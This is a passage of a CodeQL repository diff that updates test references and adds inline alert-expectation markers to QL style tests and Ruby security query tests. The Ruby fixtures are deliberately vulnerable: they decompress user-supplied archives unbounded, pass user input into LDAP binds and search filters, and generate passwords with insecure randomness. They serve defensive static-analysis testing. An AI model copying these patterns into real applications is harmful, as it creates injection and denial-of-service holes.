b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityReliabilityWrongToplevel.ql @@ -8,7 +8,7 @@ * @tags quality * reliability * readability - */ + */ // $ Alert import ql diff --git a/ql/ql/test/queries/style/MissingSecurityMetadata/MissingSecurityMetadata.qlref b/ql/ql/test/queries/style/MissingSecurityMetadata/MissingSecurityMetadata.qlref index c697bcee82eb..bd4295a68621 100644 --- a/ql/ql/test/queries/style/MissingSecurityMetadata/MissingSecurityMetadata.qlref +++ b/ql/ql/test/queries/style/MissingSecurityMetadata/MissingSecurityMetadata.qlref @@ -1 +1,2 @@ -queries/style/MissingSecurityMetadata.ql \ No newline at end of file +query: queries/style/MissingSecurityMetadata.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSecurity.ql b/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSecurity.ql index d05628798311..a403812021e5 100644 --- a/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSecurity.ql +++ b/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSecurity.ql @@ -7,7 +7,7 @@ * @precision very-high * @id ql/some-query * @tags quality - */ + */ // $ Alert import ql diff --git a/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSeverity.ql b/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSeverity.ql index f04fe81599ab..47a12a1858a3 100644 --- a/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSeverity.ql +++ b/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSeverity.ql @@ -7,7 +7,7 @@ * @id ql/some-query * @tags quality * security - */ + */ // $ Alert import ql diff --git a/ql/ql/test/queries/style/Misspelling/Misspelling.qlref b/ql/ql/test/queries/style/Misspelling/Misspelling.qlref index afbcaf951f3e..ed9785fee3a7 100644 --- a/ql/ql/test/queries/style/Misspelling/Misspelling.qlref +++ b/ql/ql/test/queries/style/Misspelling/Misspelling.qlref @@ -1 +1,2 @@ -queries/style/Misspelling.ql \ No newline at end of file +query: queries/style/Misspelling.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/Misspelling/Test.qll b/ql/ql/test/queries/style/Misspelling/Test.qll index b6619145f8d5..1da75babe072 100644 --- a/ql/ql/test/queries/style/Misspelling/Test.qll +++ b/ql/ql/test/queries/style/Misspelling/Test.qll @@ -1,13 +1,13 @@ /** * A string that's deliberately mispelled (and so is that last word). - */ -class PublicallyAccessible extends string { - int numOccurences; // should be 'occurrences' + */ // $ Alert +class PublicallyAccessible extends string { // $ Alert + int numOccurences; // $ Alert // should be 'occurrences' PublicallyAccessible() { this = "publically" and numOccurences = 123 } // should be argument - predicate hasAgrument() { none() } + predicate hasAgrument() { none() } // $ Alert int getNum() { result = numOccurences } } @@ -15,8 +15,8 @@ class PublicallyAccessible extends string { /** * A class whose name contains a British-English spelling. * And here's the word 'colour'. - */ -class AnalysedInt extends int { + */ // $ Alert +class AnalysedInt extends int { // $ Alert AnalysedInt() { this = 7 } // 'analyses' should not be flagged diff --git a/ql/ql/test/queries/style/NonDocBlock/Foo.qll b/ql/ql/test/queries/style/NonDocBlock/Foo.qll index 99f957fa7704..22fc0e3761a7 100644 --- a/ql/ql/test/queries/style/NonDocBlock/Foo.qll +++ b/ql/ql/test/queries/style/NonDocBlock/Foo.qll @@ -1,13 +1,13 @@ /* * This should be QLDoc. - */ + */ // $ Alert /** * this is fine */ predicate foo() { any() } -/* Note: this is bad. */ +/* Note: this is bad. */ // $ Alert class Foo extends string { Foo() { this = "FOo" } } diff --git a/ql/ql/test/queries/style/NonDocBlock/NonDocBlock.qlref b/ql/ql/test/queries/style/NonDocBlock/NonDocBlock.qlref index b6dbdf506047..57118bb0ff76 100644 --- a/ql/ql/test/queries/style/NonDocBlock/NonDocBlock.qlref +++ b/ql/ql/test/queries/style/NonDocBlock/NonDocBlock.qlref @@ -1 +1,2 @@ -queries/style/NonDocBlock.ql \ No newline at end of file +query: queries/style/NonDocBlock.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/OmittableExists/OmittableExists.qlref b/ql/ql/test/queries/style/OmittableExists/OmittableExists.qlref index af9ad5ec40b5..c606ef984252 100644 --- a/ql/ql/test/queries/style/OmittableExists/OmittableExists.qlref +++ b/ql/ql/test/queries/style/OmittableExists/OmittableExists.qlref @@ -1 +1,2 @@ -queries/style/OmittableExists.ql \ No newline at end of file +query: queries/style/OmittableExists.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/OmittableExists/Test.qll b/ql/ql/test/queries/style/OmittableExists/Test.qll index 517758a9dabe..0312c86ec6e4 100644 --- a/ql/ql/test/queries/style/OmittableExists/Test.qll +++ b/ql/ql/test/queries/style/OmittableExists/Test.qll @@ -17,7 +17,7 @@ class Location extends @location_default { } predicate test() { - exists(int i | aPredicate(i)) // BAD + exists(int i | aPredicate(i)) // $ Alert // BAD or exists(int i | aPredicate(i) or anotherPredicate(i)) // BAD [NOT DETECTED] or diff --git a/ql/ql/test/queries/style/QlRefInlineExpectations/Test3.qlref b/ql/ql/test/queries/style/QlRefInlineExpectations/Test3.qlref index 5582a96837a3..f840a91b59ee 100644 --- a/ql/ql/test/queries/style/QlRefInlineExpectations/Test3.qlref +++ b/ql/ql/test/queries/style/QlRefInlineExpectations/Test3.qlref @@ -1 +1,2 @@ -query: ProblemQuery.ql \ No newline at end of file +query: ProblemQuery.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/RedundantCast/Foo.qll b/ql/ql/test/queries/style/RedundantCast/Foo.qll index d993f654bc42..4410d344c9f7 100644 --- a/ql/ql/test/queries/style/RedundantCast/Foo.qll +++ b/ql/ql/test/queries/style/RedundantCast/Foo.qll @@ -2,10 +2,10 @@ class Foo extends string { Foo() { this = "Foo" } } -predicate test(Foo f) { f.(Foo).toString() = "X" } +predicate test(Foo f) { f.(Foo).toString() = "X" } // $ Alert -predicate test2(Foo a, Foo b) { a.(Foo) = b } +predicate test2(Foo a, Foo b) { a.(Foo) = b } // $ Alert predicate called(Foo a) { a.toString() = "X" } -predicate test3(string s) { called(s.(Foo)) } +predicate test3(string s) { called(s.(Foo)) } // $ Alert diff --git a/ql/ql/test/queries/style/RedundantCast/RedundantCast.qlref b/ql/ql/test/queries/style/RedundantCast/RedundantCast.qlref index 659062d3ae55..77bbbe67466e 100644 --- a/ql/ql/test/queries/style/RedundantCast/RedundantCast.qlref +++ b/ql/ql/test/queries/style/RedundantCast/RedundantCast.qlref @@ -1 +1,2 @@ -queries/style/RedundantCast.ql +query: queries/style/RedundantCast.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/RedundantImport/D.qll b/ql/ql/test/queries/style/RedundantImport/D.qll index 1badf0ebbc54..ba5df313cdbd 100644 --- a/ql/ql/test/queries/style/RedundantImport/D.qll +++ b/ql/ql/test/queries/style/RedundantImport/D.qll @@ -1,2 +1,2 @@ -import folder.A +import folder.A // $ Alert import folder.B diff --git a/ql/ql/test/queries/style/RedundantImport/RedundantImport.qlref b/ql/ql/test/queries/style/RedundantImport/RedundantImport.qlref index a2ff992e5cd8..acacf6163e54 100644 --- a/ql/ql/test/queries/style/RedundantImport/RedundantImport.qlref +++ b/ql/ql/test/queries/style/RedundantImport/RedundantImport.qlref @@ -1 +1,2 @@ -queries/style/RedundantImport.ql \ No newline at end of file +query: queries/style/RedundantImport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qll b/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qll index 35df3b3194c5..01d4e128615b 100644 --- a/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qll +++ b/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qll @@ -6,7 +6,7 @@ module Test1 { } class Bar extends Foo { - override Foo pred() { result = Foo.super.pred() } // BAD + override Foo pred() { result = Foo.super.pred() } // $ Alert // BAD } } @@ -18,7 +18,7 @@ module Test2 { } class Bar extends Foo { - override Foo pred() { result = super.pred() } // BAD + override Foo pred() { result = super.pred() } // $ Alert // BAD } } @@ -107,7 +107,7 @@ module Test8 { } class Bar extends Foo { - override predicate pred(Foo f) { super.pred(f) } // BAD + override predicate pred(Foo f) { super.pred(f) } // $ Alert // BAD } } @@ -121,15 +121,15 @@ module Test9 { class Bar extends Foo { Bar() { this = 1 } - override Foo pred() { Foo.super.pred() = result } // BAD + override Foo pred() { Foo.super.pred() = result } // $ Alert // BAD } class Baz1 extends Foo, Bar { - override Foo pred() { Foo.super.pred() = result } // BAD + override Foo pred() { Foo.super.pred() = result } // $ Alert // BAD } class Baz2 extends Foo, Baz1 { - override Foo pred() { Baz1.super.pred() = result } // BAD + override Foo pred() { Baz1.super.pred() = result } // $ Alert // BAD } } @@ -147,7 +147,7 @@ module Test10 { } class Baz1 extends Foo, Bar { - override Foo pred() { result = Foo.super.pred() } // BAD + override Foo pred() { result = Foo.super.pred() } // $ Alert // BAD } } @@ -161,19 +161,19 @@ module Test11 { class Bar1 extends Foo { Bar1() { this = [1 .. 3] } - override Foo pred() { Foo.super.pred() = result } // BAD + override Foo pred() { Foo.super.pred() = result } // $ Alert // BAD } class Bar2 extends Foo, Bar1 { - override Foo pred() { Foo.super.pred() = result } // BAD + override Foo pred() { Foo.super.pred() = result } // $ Alert // BAD } class Bar3 extends Foo, Bar2 { - override Foo pred() { Bar2.super.pred() = result } // BAD + override Foo pred() { Bar2.super.pred() = result } // $ Alert // BAD } class Bar4 extends Bar2, Bar3 { - override Foo pred() { result = Bar2.super.pred() } // BAD + override Foo pred() { result = Bar2.super.pred() } // $ Alert // BAD } class Bar5 extends Foo { diff --git a/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qlref b/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qlref index aca59af1cceb..ac16aebc2e78 100644 --- a/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qlref +++ b/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qlref @@ -1 +1,2 @@ -queries/style/RedundantOverride.ql +query: queries/style/RedundantOverride.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/SwappedParameterNames/SwappedParameterNames.qlref b/ql/ql/test/queries/style/SwappedParameterNames/SwappedParameterNames.qlref index cab8c347410b..78ad77024ca5 100644 --- a/ql/ql/test/queries/style/SwappedParameterNames/SwappedParameterNames.qlref +++ b/ql/ql/test/queries/style/SwappedParameterNames/SwappedParameterNames.qlref @@ -1 +1,2 @@ -queries/style/SwappedParameterNames.ql \ No newline at end of file +query: queries/style/SwappedParameterNames.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/SwappedParameterNames/Test.qll b/ql/ql/test/queries/style/SwappedParameterNames/Test.qll index 5c8083d3098f..0ee3760c7cb9 100644 --- a/ql/ql/test/queries/style/SwappedParameterNames/Test.qll +++ b/ql/ql/test/queries/style/SwappedParameterNames/Test.qll @@ -9,5 +9,5 @@ class Correct extends Sup { } class Wrong extends Sup { - override predicate step(Expr succ, Expr pred) { none() } // <- swapped parameter names + override predicate step(Expr succ, Expr pred) { none() } // $ Alert // <- swapped parameter names } diff --git a/ql/ql/test/queries/style/UseInstanceofExtension/Foo.qll b/ql/ql/test/queries/style/UseInstanceofExtension/Foo.qll index b58cb3f93e37..b6479e6fc3ad 100644 --- a/ql/ql/test/queries/style/UseInstanceofExtension/Foo.qll +++ b/ql/ql/test/queries/style/UseInstanceofExtension/Foo.qll @@ -4,7 +4,7 @@ class Range extends string { string getAChild() { result = "test" } } -class Inst extends string { +class Inst extends string { // $ Alert Range range; Inst() { this = range } @@ -12,13 +12,13 @@ class Inst extends string { string getAChild() { result = range.getAChild() } } -class Inst2 extends string { +class Inst2 extends string { // $ Alert Inst2() { this instanceof Range } string getAChild() { result = this.(Range).getAChild() } } -class Inst3 extends string { +class Inst3 extends string { // $ Alert Range range; Inst3() { this = range } @@ -26,6 +26,6 @@ class Inst3 extends string { Range getRange() { result = range } } -class Inst4 extends string { +class Inst4 extends string { // $ Alert Inst4() { this instanceof Range } } diff --git a/ql/ql/test/queries/style/UseInstanceofExtension/UseInstanceofExtension.qlref b/ql/ql/test/queries/style/UseInstanceofExtension/UseInstanceofExtension.qlref index 4b8a65157870..d895947b87b7 100644 --- a/ql/ql/test/queries/style/UseInstanceofExtension/UseInstanceofExtension.qlref +++ b/ql/ql/test/queries/style/UseInstanceofExtension/UseInstanceofExtension.qlref @@ -1 +1,2 @@ -queries/style/UseInstanceofExtension.ql \ No newline at end of file +query: queries/style/UseInstanceofExtension.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/UseSetLiteral/UseSetLiteral.qlref b/ql/ql/test/queries/style/UseSetLiteral/UseSetLiteral.qlref index d4047ebc29fd..545dc8d48424 100644 --- a/ql/ql/test/queries/style/UseSetLiteral/UseSetLiteral.qlref +++ b/ql/ql/test/queries/style/UseSetLiteral/UseSetLiteral.qlref @@ -1 +1,2 @@ -queries/style/UseSetLiteral.ql \ No newline at end of file +query: queries/style/UseSetLiteral.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/UseSetLiteral/test.qll b/ql/ql/test/queries/style/UseSetLiteral/test.qll index fcc581c3e8cd..0fd1dab6ddde 100644 --- a/ql/ql/test/queries/style/UseSetLiteral/test.qll +++ b/ql/ql/test/queries/style/UseSetLiteral/test.qll @@ -4,7 +4,7 @@ predicate test1(int a) { a = 1 or // BAD a = 2 or a = 3 or - a = 4 + a = 4 // $ Alert } predicate test2(int a) { @@ -30,7 +30,7 @@ predicate test5() { test1(1) or // BAD test1(2) or test1(3) or - test1(4) + test1(4) // $ Alert } predicate test6() { @@ -44,7 +44,7 @@ int test7() { 1 = result or // BAD 2 = result or 3 = result or - 4 = result + 4 = result // $ Alert } predicate test8() { @@ -62,19 +62,19 @@ class MyTest8Class extends int { this = 1 or // BAD this = 2 or this = 3 or - this = 4 + this = 4 // $ Alert ) and ( s = "1" or // BAD s = "2" or s = "3" or - s = "4" + s = "4" // $ Alert ) and exists(float f | f = 1.0 or // BAD f = 1.5 or f = 2.0 or - f = 2.5 + f = 2.5 // $ Alert ) } @@ -89,7 +89,7 @@ predicate test9(MyTest8Class c) { c.is(1) or // BAD c.is(2) or c.is(3) or - c.is(4) + c.is(4) // $ Alert } predicate test10(MyTest8Class c) { @@ -133,5 +133,5 @@ predicate test14(int a) { (a = 2 or a = 3) or a = 4 - ) + ) // $ Alert } diff --git a/ql/ql/test/queries/style/ValidatePredicateGetReturns/ValidatePredicateGetReturns.qlref b/ql/ql/test/queries/style/ValidatePredicateGetReturns/ValidatePredicateGetReturns.qlref index e116f69d6b22..7a89245d787e 100644 --- a/ql/ql/test/queries/style/ValidatePredicateGetReturns/ValidatePredicateGetReturns.qlref +++ b/ql/ql/test/queries/style/ValidatePredicateGetReturns/ValidatePredicateGetReturns.qlref @@ -1 +1,2 @@ -queries/style/ValidatePredicateGetReturns.ql +query: queries/style/ValidatePredicateGetReturns.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/ValidatePredicateGetReturns/test.qll b/ql/ql/test/queries/style/ValidatePredicateGetReturns/test.qll index 2cc4dec64d20..e9c34eb94a65 100644 --- a/ql/ql/test/queries/style/ValidatePredicateGetReturns/test.qll +++ b/ql/ql/test/queries/style/ValidatePredicateGetReturns/test.qll @@ -1,7 +1,7 @@ import ql // NOT OK -- Predicate starts with "get" but does not return a value -predicate getValue() { none() } +predicate getValue() { none() } // $ Alert // OK -- starts with get and returns a value string getData() { result = "data" } @@ -22,13 +22,13 @@ predicate getvalue() { none() } predicate retrieveValue() { none() } // NOT OK -- starts with get and does not return value -predicate getImplementation2() { none() } +predicate getImplementation2() { none() } // $ Alert // NOT OK -- is an alias for a predicate which does not have a return value -predicate getAlias2 = getImplementation2/0; +predicate getAlias2 = getImplementation2/0; // $ Alert // NOT OK -- starts with as and does not return value -predicate asValue() { none() } +predicate asValue() { none() } // $ Alert // OK -- starts with as but followed by a lowercase letter, probably should be ignored predicate assessment() { none() } @@ -45,7 +45,7 @@ HiddenType getInjectableCompositeActionNode() { predicate implementation4() { none() } // NOT OK -- is an alias -predicate getAlias4 = implementation4/0; +predicate getAlias4 = implementation4/0; // $ Alert // OK -- is an alias predicate alias5 = implementation4/0; @@ -58,7 +58,7 @@ predicate edge(int x, int y) { none() } int getDistance(int x) = shortestDistances(root/0, edge/2)(_, x, result) // NOT OK -- Higher-order predicate that does not return a value even though has 'get' in the name -predicate getDistance2(int x, int y) = shortestDistances(root/0, edge/2)(_, x, y) +predicate getDistance2(int x, int y) = shortestDistances(root/0, edge/2)(_, x, y) // $ Alert // OK predicate unresolvedAlias = unresolved/0; diff --git a/ruby/ql/test/library-tests/dataflow/params/TypeTracker.qlref b/ruby/ql/test/library-tests/dataflow/params/TypeTracker.qlref index 2815162f7d8f..d3ee4a6ea04a 100644 --- a/ruby/ql/test/library-tests/dataflow/params/TypeTracker.qlref +++ b/ruby/ql/test/library-tests/dataflow/params/TypeTracker.qlref @@ -1 +1 @@ -library-tests/dataflow/type-tracker/TypeTracker.ql \ No newline at end of file +query: library-tests/dataflow/type-tracker/TypeTracker.ql diff --git a/ruby/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref b/ruby/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref index 9d7833eccae7..dc898fca718c 100644 --- a/ruby/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref +++ b/ruby/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref @@ -1 +1 @@ -AlertSuppression.ql +query: AlertSuppression.ql diff --git a/ruby/ql/test/query-tests/analysis/Definitions.qlref b/ruby/ql/test/query-tests/analysis/Definitions.qlref index a8620aaeec6b..5d25fcc33076 100644 --- a/ruby/ql/test/query-tests/analysis/Definitions.qlref +++ b/ruby/ql/test/query-tests/analysis/Definitions.qlref @@ -1 +1 @@ -queries/analysis/Definitions.ql +query: queries/analysis/Definitions.ql diff --git a/ruby/ql/test/query-tests/diagnostics/ExtractedFiles.qlref b/ruby/ql/test/query-tests/diagnostics/ExtractedFiles.qlref index d9d732152e22..ed3e1b70d3ec 100644 --- a/ruby/ql/test/query-tests/diagnostics/ExtractedFiles.qlref +++ b/ruby/ql/test/query-tests/diagnostics/ExtractedFiles.qlref @@ -1 +1 @@ -queries/diagnostics/ExtractedFiles.ql \ No newline at end of file +query: queries/diagnostics/ExtractedFiles.ql diff --git a/ruby/ql/test/query-tests/diagnostics/ExtractionErrors.qlref b/ruby/ql/test/query-tests/diagnostics/ExtractionErrors.qlref index ffbdb0a7b1b5..9169d655e25c 100644 --- a/ruby/ql/test/query-tests/diagnostics/ExtractionErrors.qlref +++ b/ruby/ql/test/query-tests/diagnostics/ExtractionErrors.qlref @@ -1 +1 @@ -queries/diagnostics/ExtractionErrors.ql \ No newline at end of file +query: queries/diagnostics/ExtractionErrors.ql diff --git a/ruby/ql/test/query-tests/diagnostics/ExtractionWarnings.qlref b/ruby/ql/test/query-tests/diagnostics/ExtractionWarnings.qlref index ff6e566d20a7..24af39e23262 100644 --- a/ruby/ql/test/query-tests/diagnostics/ExtractionWarnings.qlref +++ b/ruby/ql/test/query-tests/diagnostics/ExtractionWarnings.qlref @@ -1 +1 @@ -queries/diagnostics/ExtractionWarnings.ql +query: queries/diagnostics/ExtractionWarnings.ql diff --git a/ruby/ql/test/query-tests/diagnostics/NumberOfFilesExtractedWithErrors.qlref b/ruby/ql/test/query-tests/diagnostics/NumberOfFilesExtractedWithErrors.qlref index 17823cc88374..334f91d2d60a 100644 --- a/ruby/ql/test/query-tests/diagnostics/NumberOfFilesExtractedWithErrors.qlref +++ b/ruby/ql/test/query-tests/diagnostics/NumberOfFilesExtractedWithErrors.qlref @@ -1 +1 @@ -queries/summary/NumberOfFilesExtractedWithErrors.ql \ No newline at end of file +query: queries/summary/NumberOfFilesExtractedWithErrors.ql diff --git a/ruby/ql/test/query-tests/diagnostics/NumberOfSuccessfullyExtractedFiles.qlref b/ruby/ql/test/query-tests/diagnostics/NumberOfSuccessfullyExtractedFiles.qlref index 5f6eda05206f..35a0e05ddb1e 100644 --- a/ruby/ql/test/query-tests/diagnostics/NumberOfSuccessfullyExtractedFiles.qlref +++ b/ruby/ql/test/query-tests/diagnostics/NumberOfSuccessfullyExtractedFiles.qlref @@ -1 +1 @@ -queries/summary/NumberOfSuccessfullyExtractedFiles.ql \ No newline at end of file +query: queries/summary/NumberOfSuccessfullyExtractedFiles.ql diff --git a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref index c24a4cc9678e..e65789fc0d9a 100644 --- a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref +++ b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref @@ -1 +1,2 @@ -experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql \ No newline at end of file +query: experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb index bf9bb7b329dc..1a7636809b13 100644 --- a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb +++ b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb @@ -1,27 +1,27 @@ require 'zlib' class TestController < ActionController::Base - gzip_path = params[:path] + gzip_path = params[:path] # $ Source - Zlib::GzipReader.open(gzip_path).read + Zlib::GzipReader.open(gzip_path).read # $ Alert Zlib::GzipReader.open(gzip_path) do |uncompressedfile| puts uncompressedfile.read - end + end # $ Alert Zlib::GzipReader.open(gzip_path) do |uncompressedfile| uncompressedfile.each do |entry| puts entry end - end - uncompressedfile = Zlib::GzipReader.open(gzip_path) + end # $ Alert + uncompressedfile = Zlib::GzipReader.open(gzip_path) # $ Alert uncompressedfile.each do |entry| puts entry end - Zlib::GzipReader.new(File.open(gzip_path, 'rb')).read - Zlib::GzipReader.new(File.open(gzip_path, 'rb')).each do |entry| + Zlib::GzipReader.new(File.open(gzip_path, 'rb')).read # $ Alert + Zlib::GzipReader.new(File.open(gzip_path, 'rb')).each do |entry| # $ Alert puts entry end - Zlib::GzipReader.zcat(open(gzip_path)) + Zlib::GzipReader.zcat(open(gzip_path)) # $ Alert end diff --git a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb index 5aab5ce63827..9d0d047b0358 100644 --- a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb +++ b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb @@ -1,21 +1,21 @@ require 'zip' class TestController < ActionController::Base - zipfile_path = params[:path] + zipfile_path = params[:path] # $ Source Zip::InputStream.open(zipfile_path) do |input| while (entry = input.get_next_entry) puts :file_name, entry.name input end - end + end # $ Alert Zip::InputStream.open(zipfile_path) do |input| input.read - end - input = Zip::InputStream.open(zipfile_path) + end # $ Alert + input = Zip::InputStream.open(zipfile_path) # $ Alert - Zip::File.open(zipfile_path).read "10GB" - Zip::File.open(zipfile_path).extract "10GB", "./" + Zip::File.open(zipfile_path).read "10GB" # $ Alert + Zip::File.open(zipfile_path).extract "10GB", "./" # $ Alert Zip::File.open(zipfile_path) do |zip_file| # Handle entries one by one @@ -25,33 +25,33 @@ class TestController < ActionController::Base # Extract to file or directory based on name in the archive entry.extract # Read into memory - entry.get_input_stream.read + entry.get_input_stream.read # $ Alert end end zip_file = Zip::File.open(zipfile_path) zip_file.each do |entry| - entry.extract - entry.get_input_stream.read + entry.extract # $ Alert + entry.get_input_stream.read # $ Alert end # Find specific entry Zip::File.open(zipfile_path) do |zip_file| zip_file.glob('*.xml').each do |entry| - zip_file.read(entry.name) - entry.extract + zip_file.read(entry.name) # $ Alert + entry.extract # $ Alert end entry = zip_file.glob('*.csv').first raise 'File too large when extracted' if entry.size > MAX_SIZE - puts entry.get_input_stream.read + puts entry.get_input_stream.read # $ Alert end zip_file = Zip::File.open(zipfile_path) entry = zip_file.glob('*.csv') - puts entry.get_input_stream.read + puts entry.get_input_stream.read # $ Alert zip_file = Zip::File.open(zipfile_path) zip_file.glob('*') do |entry| - entry.get_input_stream.read + entry.get_input_stream.read # $ Alert end end diff --git a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref index 65f60a22b789..42e36ad38a87 100644 --- a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref +++ b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref @@ -1 +1,2 @@ -experimental/ldap-improper-auth/ImproperLdapAuth.ql \ No newline at end of file +query: experimental/ldap-improper-auth/ImproperLdapAuth.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb index 2705158563e3..07dd430b9e4a 100644 --- a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb +++ b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb @@ -2,7 +2,7 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is used directly as password # (i.e a remote flow source) - pass = params[:pass] + pass = params[:pass] # $ Source # BAD: user input is not sanitized ldap = Net::LDAP.new( @@ -12,7 +12,7 @@ def some_request_handler auth: { method: :simple, username: 'uid=admin,dc=example,dc=com', - password: pass + password: pass # $ Alert } ) ldap.bind @@ -21,14 +21,14 @@ def some_request_handler def some_request_handler # A string tainted by user input is used directly as password # (i.e a remote flow source) - pass = params[:pass] + pass = params[:pass] # $ Source # BAD: user input is not sanitized ldap = Net::LDAP.new ldap.host = your_server_ip_address ldap.encryption(:method => :simple_tls) ldap.port = 639 - ldap.auth "admin", pass + ldap.auth "admin", pass # $ Alert ldap.bind end end diff --git a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref index 8d04d2154257..e3c5fbbad504 100644 --- a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref +++ b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref @@ -1 +1,2 @@ -experimental/insecure-randomness/InsecureRandomness.ql \ No newline at end of file +query: experimental/insecure-randomness/InsecureRandomness.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb index 116957137b56..fa7427b1c66d 100644 --- a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb +++ b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb @@ -3,7 +3,7 @@ def generate_password_1(length) chars = ('a'..'z').to_a + ('A'..'Z').to_a + ('0'..'9').to_a + ['!', '@', '#', '$', '%'] # BAD: rand is not cryptographically secure - password = (1..length).collect { chars[rand(chars.size)] }.join + password = (1..length).collect { chars[rand(chars.size)] }.join # $ Alert end def generate_password_2(length) diff --git a/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb b/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb index 966b26ef6364..ce4e848e59a1 100644 --- a/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb +++ b/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb @@ -2,11 +2,11 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is used directly as DN # (i.e a remote flow source) - dc = params[:dc] + dc = params[:dc] # $ Source # A string tainted by user input is used directly as search filter or attribute # (i.e a remote flow source) - name = params[:user_name] + name = params[:user_name] # $ Source # LDAP Connection ldap = Net::LDAP.new( @@ -22,20 +22,20 @@ def some_request_handler # BAD: user input is used as DN # where dc is unsanitized - ldap.search(base: "ou=people,dc=#{dc},dc=com", filter: "cn=George", attributes: [""]) + ldap.search(base: "ou=people,dc=#{dc},dc=com", filter: "cn=George", attributes: [""]) # $ Alert # BAD: user input is used as search filter # where name is unsanitized - ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=#{name}", attributes: [""]) + ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=#{name}", attributes: [""]) # $ Alert # BAD: user input is used as attribute # where name is unsanitized - ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=George", attributes: [name]) + ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=George", attributes: [name]) # $ Alert # BAD: user input is used as search filter # where name is unsanitized filter = Net::LDAP::Filter.eq('cn', name) - ldap.search(base: "ou=people,dc=example,dc=com", filter: filter, attributes: [""]) + ldap.search(base: "ou=people,dc=example,dc=com", filter: 